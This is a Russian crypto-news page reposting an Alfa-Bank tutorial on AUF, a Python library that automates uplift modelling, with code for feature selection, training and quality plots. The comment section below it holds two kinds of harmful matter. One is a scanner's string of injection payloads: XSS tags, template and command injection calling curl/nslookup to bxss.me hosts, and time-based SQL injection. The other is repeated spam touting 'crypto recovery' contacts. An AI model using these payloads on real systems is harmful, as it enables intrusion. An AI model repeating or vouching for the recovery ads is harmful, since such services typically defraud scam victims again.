Этот сайт использует файлы cookies. Продолжая просмотр страниц сайта, вы соглашаетесь с использованием файлов cookies. Если вам нужна дополнительная информация, пожалуйста, посетите страницу Политика файлов Cookie

Прямой эфир

Русский

English

Войти / Регистрация

Cryptocurrencies: 9505 / Markets: 114717

Market Cap: $ 3 663 340 658 986 / 24h Vol: $ 222 537 540 211 / BTC Dominance: 58.861607907734%

Н Новости

Все ли волки страшные: AUF или как приручить uplift?

Всем привет! Меня зовут Мельников Виктор, я работаю Junior Data Scientist в хабе Розничного Бизнеса Департамента Продвинутой Аналитики в Альфа-Банке. В этой статье я расскажу про AUF — Open Source библиотеку Альфа-Банка.

Её главная задача — автоматическое решение задач uplift-моделирования.

Позволяет ускорять разработку в десятки раз и убирает рутину, избавляя от привычного fit-predict. Приятным бонусом идёт полный отчёт по качеству модели, понятный как DS, так и бизнесу.

Дисклеймер: эта статья не про uplift-моделирование, а про библиотеку, которая решает задачу uplift-моделирования. Если хотите почитать про общую постановку задачи, посмотреть на математику, лежащую в основе uplift, в конце статьи оставил раздел с ссылками на полезные материалы.

План статьи

Введение
Как обычно решают uplift-задачи?
Преимущества AUF
Как использовать AUF?
1. Скачиваем данные.
2. Установка библиотеки.
3. Класс UpliftPipeline.
4. Загрузка выборки.
5. Метод run().
6. Отбор признаков.
7. Обучение моделей.
8. Поиск лучшей модели.
9. Визуализация качества модели.
10. Интерпретация модели.
Источники и ссылки.
Благодарности.

Откуда растут ноги, и что в итоге может получить бизнес от AUF

Рассмотрим на примере молока в любом продуктовом магазине. Допустим, у него подходит срок годности и на него дают скидку. Купили бы вы это молоко, если бы один литр молока подешевел на 5 рублей? А если на 10? А если бы оно подешевело в 2 раза?

Если с последним почти, наверное, многие согласились бы (конечно, если срок годности ещё только подходит, а не машет рукой вслед), то с первыми двумя вопросами всё не так просто.

Другой пример: что, если клиент интересуется некоторым продуктом компании (например, подпиской Альфа-Смарт), но почему-то её не подключает? В таком случае можно отправить ему коммуникацию в виде СМС или push-уведомления с описанием преимуществ, которые он получит от подписки. Возможно, после такого кто-то соберётся с духом и оформит её.

Подобные задачи есть и в ритейле, и в телекоме, и даже в медицине. В них нужно оценить изменение поведения клиента после некоторого воздействия на него. Бизнес таким образом сможет повысить конверсию в продажи через более эффективные маркетинговые кампании. Такие задачи решаются методами uplift-моделирования, которые и реализованы в нашей Python-библиотеке AUF.

Как обычно решают uplift-задачи?

Data Scientist, не знакомый с uplift-моделированием, чтобы не изобретать велосипед с нуля, сначала пойдёт гуглить существующие решения.

Так он, скорее всего, найдет библиотеки:

Каждый из инструментов содержит строительные блоки, из которых можно собрать итоговое решение. Однако от DS потребуется собрать это всё воедино и при этом не посадить багу в код.

Отсюда возникла идея автоматизировать процесс создания uplift-моделей. Так появилась библиотека AUF — Automatic Uplift Framework.

Преимущества AUF

AUF означает Automatic Uplift Framework — то есть AUF берёт на себя всю рутину по обучению моделей. Просто загрузи выборку в пайплайн, и на выходе тебя будет ждать шикарная модель ~~(прям как с обложки журнала)~~!

Структура библиотеки для ознакомления.

Если по-серьёзному, то обычно на разработку всего одной uplift-модели уходит порядка 1-2 недель. Но часто срок растягивается из-за необходимости проверить новые гипотезы бизнеса. С помощью AUF каждую такую итерацию можно ускорить с пары недель до нескольких часов. Ускорение в десятки раз на лицо!

Как использовать AUF?

В этом разделе мы рассмотрим использование AUF на примере реальных данных из соревнования Мегафон.

Скачивание данных

Для этого нам понадобится модуль datasets из библиотеки sklift (полное название scikit-uplift). В нём содержатся датасеты основных соревнований по uplift.

import pandas as pd
from sklift import datasets

data, target, treatment = datasets.fetch_megafon(
        download_if_missing=True,
        return_X_y_t=True
)

df = pd.concat([data, target, treatment], axis=1)

# зададим явно колонку с айдишником наблюдения для работы паплайна
df["id"] = list(range(df.shape[0]))

print(df.shape)
df.head(2)

В результате выполнения данного кода выводятся размеры таблицы с данными и её две первые строки.

Обратим внимание на названия последних колонок:

Таргет называется «conversion», а тритмент – «treatment_group» (что это такое, описано ниже в разделе «загрузка выборки»). Теперь, когда выборка скачана к нам в окружение, можно приступать к установке AUF.

Установка библиотеки

Всё почти так же, как с привычными нам библиотеками. Но перед установкой библиотеки нужно установить Matplotlib версии 3.5.3 и перезапустить ядро для корректной отрисовки графиков.

Команды для начала работы с AUF:

(при запуске ноутбука на kaggle нужно переустановить matplotlib)
pip uninstall matplotlib -y
pip install matplotlib==3.5.3
(перезапустить ядро, restart kernel)
pip install auf

Класс UpliftPipeline

Это ядро всей библиотеки. Вся работа на 99% ведётся именно через методы данного класса.

Из названия понятно, что этот класс имеет методы для всех основных шагов любого пайплайна машинного обучения: загрузки выборки, отбора признаков, обучения моделей и визуализации качества. Далее мы рассмотрим краткие примеры использования этих методов.

Создать экземпляр данного класса можно с помощью простого кода:

from auf.pipeline import UpliftPipeline
pipeline = UpliftPipeline(print_doc=False, task_name_mlflow=None, run_id=None)

Аргумент print_doc отвечает за печать документации класса в выводе ячейки (False означает, что мы решили её пока не печатать). Аргументы task_name_mlflow и run_id нужны только при использовании mlflow. То есть при желании вы можете логировать все промежуточные результаты выполнения пайплайна в MLflow. Это даёт возможность спустя время вернуться к какому-то эксперименту и сравнить разные версии моделей.

Загрузка выборки

Здесь мы считаем, что у вас уже есть готовая выборка в виде pandas.DataFrame с айдишниками, таргетом, тритментом и всеми доступными фичами:

Айдишник (id) — уникальный идентификатор записи/наблюдения.
Таргет (target) — бинарная целевая переменная.
Тритмент (treatment) — группа воздействия на клиента.
Фичи — признаковое описание клиента.

Можно использовать унифицированные названия для колонок с таргетом, тритментом и айдишником: target, treatment, id. Аналогично и с названиями групп воздействия на клиента: 0 — контрольная, 1 — целевая. Но при надобности можете передать свои в виде двух словариков (см. пример ниже).

Также есть возможность задать колонку со своим разбиением на train/val/test выборки (унифицированное название колонки — segm) в вашем датафрейме с данными или отдать это на откуп AUF.

base_cols_mapper = {
        “id”: “id”,
        “treatment”: “treatment_group”,
        “target”: “conversion”,
        “segm”: “segm”
}

treatment_groups_mapper = {
        “control”: 0,
        “treatment”: 1
}

pipeline.load_sample(
        df,
        base_cols_mapper,
        treatment_groups_mapper
)

В выводе ячейки с этим кодом увидим:

№1. Результаты проверки гипотезы об отсутствии эффекта от воздействия (то есть о равенстве конверсий в целевой и контрольной группах).

№2. Табличку со средними конверсиями в целевой и контрольной группах в разрезе train/val/test выборок.

Видно, что конверсия в целевой группе статистически значимо выше конверсии в контроле. Это подтверждается околонулевым p-value (для наглядности мы выводим всегда только первые три цифры после запятой). Также видно, что «единичек» (таргетов, равных 1) достаточно много в каждой группе, это позволит построить более точную модель.

Метод run()

У класса UpliftPipeline есть метод, в котором соединены все промежуточные шаги, кроме load_sample. Это метод run(), который позволит всего в одну строку получить готовую модель. Все параметры запуска можно указать прямо в аргументах метода run(). При желании их можно выставить самим, либо использовать наши дефолтные значения.

В случае, если выборка содержит лишь колонки с унифицированными именами и фичами, получить модель и признаки можно совсем просто:

from auf.pipline import UpliftPipeline
pipeline = UpliftPipeline(print_doc=False)
pipeline.load_sample(df)
model, features, model_result = pipeline.run()

Вывод данной ячейки будет состоять из выводов промежуточных методов, которые мы рассмотрим по отдельности прямо сейчас. Так будет проще понять, что происходит внутри нашего пайплайна.

Отбор признаков

Отбор признаков мы разделили на 4 главных этапа:

Удаление «пустых» признаков.
Очистка выборки от «ликов».
Отбор «кандидатов» в признаки для uplift-модели.
Ранжирование кандидатов различными способами.

У каждого этапа своя цель:

Удалить признаки со всеми пропусками и 1 уникальным значением.
Удалить признаки, которые нарушают гомогенность выборки.
Ускорить обучение модели и убрать шум из данных.
Отобрать разными способами ТОП признаков для обучения моделей.

Рассмотрим этап 2 подробнее, поскольку он очень важен.

Гомогенность выборки — это свойство, которое необходимо для построения uplift-модели. Оно означает, что назначение воздействия было рандомным (случайным). В таких данных нет информации, которая позволила бы определить группу, к которой был отнесён клиент (целевая или контрольная). Это позволит при моделировании оценить чистый эффект от нашего конкретного воздействия (например, скидки или звонка/push/смс).

На практике эту проверку можно совершить так: взять бинарный флаг воздействия и попробовать его предсказать для каждого клиента на основе наших данных. Использовать можно любые классические модели для бинарной классификации, но мы обычно используем CatBoost.

Также мы модифицировали этот подход: вместо обучения большой модели один раз мы обучаем несколько раз модели поменьше. Обучив одну модель, мы выкидываем ТОП-1 фичу по важности и повторяем процедуру, пока можем предсказать тритмент с качеством выше порога. Так мы находим потенциальные «лики» тритмента.

Теперь посмотрим, как это можно сделать через методы класса UpliftPipeline. Первый этап вшит в метод для загрузки выборки из-за его очевидной необходимости. Этапы 2-4 с дефолтными настройками можно запустить так:

pipeline.check_treatment_leaks()
pipeline.preselect_features_candidates()
pipeline.rank_features_candidates()

Метод check_treatment_leaks выводит информацию о найденных «ликах». Он показывает их число, а также для ТОП-5 «ликов» он выводит ROC-AUC при предсказании тритмента с использованием данной фичи. Важно, что под капотом для предсказания тритмента используется небольшая моделька (бустинг из 10–20 деревьев глубины 2–3). И если рядом с фичей указан ROC-AUC 0,8, то это значит, что к этой фиче нужно особо внимательно присмотреться. Возможно, это «лик»🤫.

Но в нашем примере с соревнования Магафон такой проблемы не оказалось, повезло!🙂

Также есть вспомогательные функции

Они нужны для:

проверки пропусков и отсечения слишком редких значений категориальных переменных;
проверки корреляции у оставшихся признаков;
вывода числа признаков, удалённых на каждом этапе;
вывода признаков, удалённых по конкретной причине;
анализа наиболее «ликованных» признаков;
кастомного удаления признаков при необходимости (например, из-за бизнес-логики).

pipeline.check_feature_values()
pipeline.check_correlated_features()
pipeline.show_removed_features_with_reasons()
pipeline.get_removed_features_by_reason(“too correlated”)
pipeline.plot_treatment_leaks(top_k=5)
pipeline.remove_features(features=[“feature1”, “feature2”])

Обучение моделей

В нашей библиотеке доступны все основные типы uplift-моделей:

S-learner.
T-learner.
X-learner.
Uplift Tree.
Uplift Random Forest.

После ранжирования «кандидатов» каждый тип моделей будет обучен на разных количествах топ-признаков по каждому способу ранжирования. При этом структура модели (её гиперпараметры) будут подобраны для каждого набора признаков и класса модели через Optuna. В качестве метрики для оптимизации можно выбрать метрику из списка доступных в нашей библиотеке. О метриках речь подробнее пойдёт ниже.

Пример кода для обучения моделей:

from sklift.metrics import qini_auc_score
pipeline.train_models(
        classes=["TwoModels"],           # классы моделей для обучения
        feature_nums=[5, 15],               # количества ТОП-признаков для обучения моделей
        use_default_params=False,       # использовать ли дефолтные параметры моделей
        metric=qini_auc_score,             # метрика для оптимизации в Optuna
        timeout_estimator=10               # время обучения 1 модели в секундах
)

Вывод данного метода выглядит на данный момент довольно просто: для каждой модели указывается статус «начало обучения» и «конец обучения».

Поиск лучшей модели

После обучения моделей у нас есть множество троек вида (модель, метод ранжирования признаков, число ТОП-признаков). Далее нужно найти лучшую из них — ту, которая в среднем даёт лучшее качество. Для поиска лучшей модели используется оценка медианного значения оптимизируемой в Optuna метрики. Такую оценку легко получить через бутстрап. После этого выбирается тройка с наибольшим медианным значением метрики.

Пример кода для поиска лучшей модели:

model_class_name, ranker_method, model_result = pipeline.get_result(
        metric = qini_auc_score,
        n_max_features = 15,
        rating = 0
)

Разберём возвращаемые значения.

Первые два поля означают название класса лучшей модели и название метода ранжирования фич из лучшей модели соответственно.
Также возвращается model_result — специальная структура, в которой хранится вся информация про модель. В ней хранится сама модель, а также нужные ей признаки и некоторые служебные поля.

Визуализация качества модели

Обычно даже для простой модели бинарной классификации недостаточно посмотреть на одну метрику или один график. Например, классические метрики, такие как ROC-AUC, Precision или Recall не покажут всей картины. Нужно смотреть на графики по типу ROC-кривой или PR-кривой. Из них можно извлечь заметно больше информации.

Оценить качество uplift-модели ещё сложнее.

Поэтому в нашей библиотеке мы реализовали не только основные метрики и графики качества uplift-моделей. Также мы включили графики анализа важностей признаков и некоторые кастомные метрики со своей интуицией. Полный перечень метрик представлен в модуле auf.metrics.

Здесь нам понадобятся два метода.

Первый — show_metrics_table для вычисления датафрейма с метриками по всем обученным моделям.
Второй – plot_results для вывода краткой статистики по лучшей модели и отрисовки графиков.

Пример кода:

full_metrics_df = pipeline.show_metrics_table(
        metrics_names=[
                "uplift@10",
                "uplift_rel@10",
                "uplift@15",
                "uplift_rel@15",
                "uplift@20",
                "uplift_rel@20",
                "qini_auc",
                "qini_auc_20"
        ]
)

self.plot_results(
        full_metrics_df,
        model_class_name,
        ranker_method,
        best_result,
        n_uplift_bins=10
)

Это, пожалуй, самый информативный метод класса UpliftPipeline. Он позволяет под разными углами взглянуть на качество получившейся модели. Рассмотрим его вывод ниже.

Сначала идёт табличка с результатами лучшей модели, которые показаны в виде основных, на наш взгляд, метрик. Это даёт возможность сразу понять, может ли модель принести какой-то эффект. Значения метрик показаны по train/val/test выборкам, чтобы можно было оценить степень переобучения.

Далее идёт другая табличка. В ней показана информация по бакетам предсказанного uplift в порядке убывания (в бакете 0-10 клиенты с самым высоким uplift). Какие есть поля в таблице:

percentile — бакет предсказанного uplift;
n_treatment — число клиентов из целевой группы в данном бакете;
n_control — число клиентов из контрольной группы в данном бакете;
response_rate_treatment — средняя реальная конверсия у клиентов из целевой группы в данном бакете;
response_rate_control — средняя реальная конверсия у клиентов из контрольной группы в данном бакете;
uplift — разница response_rate_treatment и response_rate_control;
rel_uplift = response_rate_treatment / response_rate_control - 1.

Поля uplift и uplift_rel показывают разницу конверсий в каждом бакете в целевой и контрольной группах. Первое поле показывают абсолютную разницу (простая разность конверсий). Второе поле показывает относительную разницу конверсий (делим конверсию в целевой группе на конверсию в контрольной и вычитаем 1). Это позволяет понять, сколько реально дополнительных продаж мы совершили, которые бы не получилось совершить без воздействия.

Частая проблема моделей склонности в том, что uplift_rel у них низкий, хотя uplift может быть высоким. Именно поэтому они не подходят для решения uplift-задач: например, мы так можем дать скидку тем клиентам, кто купил бы наш продукт и без неё.

Далее идут графики качества для train/val/test выборок. Они идут парами — слева диаграмма uplift_by_percentile, а справа qini кривая. Первый график показывает ту же информацию по бакетам, что и в табличке выше. Зелёные столбики показывают конверсии в бакетах по клиентам из целевой группы, а жёлтые — из контрольной.

Второй график показывает накопительным образом число дополнительных продаж/сделок/целевых событий в зависимости от количества клиентов с наибольшим uplift, которым решили отправить воздействие.

Интерпретация модели

Кроме оценки качества модели, также важно понять, насколько она получилась адекватной. Например, логично ожидать, что в модель оценки вероятности дефолта при выплате ипотеки зайдёт признак типа «количество просрочек платежей по ипотеке». Это можно понять с помощью визуализации важности признаков, зашедших в финальную модель.

Также может быть полезно посмотреть на портрет чувствительного клиента (с высоким uplift) в виде решающего дерева. Часто такая визуализация помогает понять, насколько модель получилась адекватной, и позволяет представить бизнесу некоторую интерпретацию, по которой они смогут понять, насколько модель применима в конкретном бизнес-процессе.

Вывести их можно с помощью кода:

pipeline.plot_feature_importances(
        model_result=model_result
)

plot_portrait_tree(
        x=df[model_result.features],
        uplift= model_result.estimator.predict(df[df.segm=='val'][ model_result.features]),
        max_depth=2
)

Примеры графиков приведены ниже.

Дополнение

Для более подробного анализа любого числового признака из нашего датафрейма в разрезе бакетов его значений существует функция plot_uplift_by_feature_bins. Она позволяет проверить отличие средних конверсий в каждом бакете целевой и контрольной групп. Как и ранее, рисуется гистограмма количества клиентов в каждом бакете и каждой группе. Это позволяет оценить, насколько случайно было назначено воздействие, то есть проверить гомогенность выборки, о которой говорилось ранее.

Пример кода:

for f in model_result.features:
        plot_uplift_by_feature_bins(
                df[f],
                df[base_cols_mapper["treatment"]],
                df[base_cols_mapper["target"]],
                f"{f}",
                amount_of_bins= 4
        )

Источники и ссылки

Пример использования AUF на данных Мегафон (ссылка).

Цикл статей от МТС по аплифт моделированию: раз, два, три.

Документации библиотек: scikit-uplift, CausalML, EconML, Pylift.

Благодарности

Спасибо тем, кто также работал над статьёй и помогал с редактурой: Дмитрию Светлову (TeamLead DS), Даниилу Лескевичу (Senior DS) и Арине Неволиной (Junior DS).

Источник

Теги

Категория

Новости

Дата

28 мар. 2025 г.

09.10.25 08:09 pHqghUme

can I ask you a question please?
09.10.25 08:09 pHqghUme

is it ok if I upload an image?
09.10.25 08:09 pHqghUme

is it ok if I upload an image?
09.10.25 08:09 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

e
09.10.25 08:11 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

can I ask you a question please?
09.10.25 08:12 pHqghUme

is it ok if I upload an image?
09.10.25 08:13 pHqghUme

can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>
09.10.25 08:13 pHqghUme

{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}
09.10.25 08:13 pHqghUme

'"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>
09.10.25 08:13 pHqghUme

can I ask you a question please?9425407
09.10.25 08:13 pHqghUme

is it ok if I upload an image?
09.10.25 08:14 pHqghUme

is it ok if I upload an image?
09.10.25 08:16 pHqghUme

e
09.10.25 08:17 pHqghUme

e
09.10.25 08:17 pHqghUme

e
09.10.25 08:17 pHqghUme

"+response.write(9043995*9352716)+"
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:17 pHqghUme

can I ask you a question please?
09.10.25 08:18 pHqghUme

can I ask you a question please?
09.10.25 08:18 pHqghUme

$(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:18 pHqghUme

|(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)
09.10.25 08:18 pHqghUme

|(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)
09.10.25 08:18 pHqghUme

is it ok if I upload an image?
09.10.25 08:19 pHqghUme

is it ok if I upload an image?
09.10.25 08:20 pHqghUme

e
09.10.25 08:20 pHqghUme

e
09.10.25 08:21 pHqghUme

e
09.10.25 08:21 pHqghUme

e
09.10.25 08:21 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

can I ask you a question please?
09.10.25 08:22 pHqghUme

is it ok if I upload an image?
09.10.25 08:22 pHqghUme

if(now()=sysdate(),sleep(15),0)
09.10.25 08:22 pHqghUme

can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
09.10.25 08:23 pHqghUme

can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
09.10.25 08:23 pHqghUme

can I ask you a question please?
09.10.25 08:23 pHqghUme

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
09.10.25 08:24 pHqghUme

is it ok if I upload an image?
09.10.25 08:24 pHqghUme

e
09.10.25 08:24 pHqghUme

can I ask you a question please?-1 waitfor delay '0:0:15' --
09.10.25 08:25 pHqghUme

is it ok if I upload an image?
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

e
09.10.25 08:25 pHqghUme

can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --
09.10.25 08:26 pHqghUme

can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--
09.10.25 08:26 pHqghUme

e
09.10.25 08:27 pHqghUme

can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--
09.10.25 08:27 pHqghUme

can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--
09.10.25 08:28 pHqghUme

can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
09.10.25 08:28 pHqghUme

can I ask you a question please?'"
09.10.25 08:28 pHqghUme

can I ask you a question please?
09.10.25 08:28 pHqghUme

@@olQP6
09.10.25 08:28 pHqghUme

(select 198766*667891 from DUAL)
09.10.25 08:28 pHqghUme

(select 198766*667891)
09.10.25 08:30 pHqghUme

is it ok if I upload an image?
09.10.25 08:33 pHqghUme

can I ask you a question please?
09.10.25 08:34 pHqghUme

can I ask you a question please?
09.10.25 08:34 pHqghUme

if(now()=sysdate(),sleep(15),0)
09.10.25 08:35 pHqghUme

e
09.10.25 08:36 pHqghUme

is it ok if I upload an image?
09.10.25 08:36 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

is it ok if I upload an image?
09.10.25 08:37 pHqghUme

e
09.10.25 08:37 pHqghUme

e
09.10.25 08:40 pHqghUme

can I ask you a question please?
09.10.25 08:40 pHqghUme

is it ok if I upload an image?
09.10.25 08:41 pHqghUme

e
09.10.25 08:41 pHqghUme

can I ask you a question please?
09.10.25 08:42 pHqghUme

can I ask you a question please?
09.10.25 08:42 pHqghUme

is it ok if I upload an image?
09.10.25 08:42 pHqghUme

e
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
09.10.25 11:05 marcushenderson624

Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
11.10.25 04:41 luciajessy3

Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…
11.10.25 10:44 Tonerdomark

A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.
12.10.25 01:12 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
12.10.25 01:12 harristhomas7376

"In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1
12.10.25 19:53 Tonerdomark

A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.
12.10.25 21:36 blessing

Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.
13.10.25 01:11 elizabethrush89

God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1
13.10.25 01:11 elizabethrush89

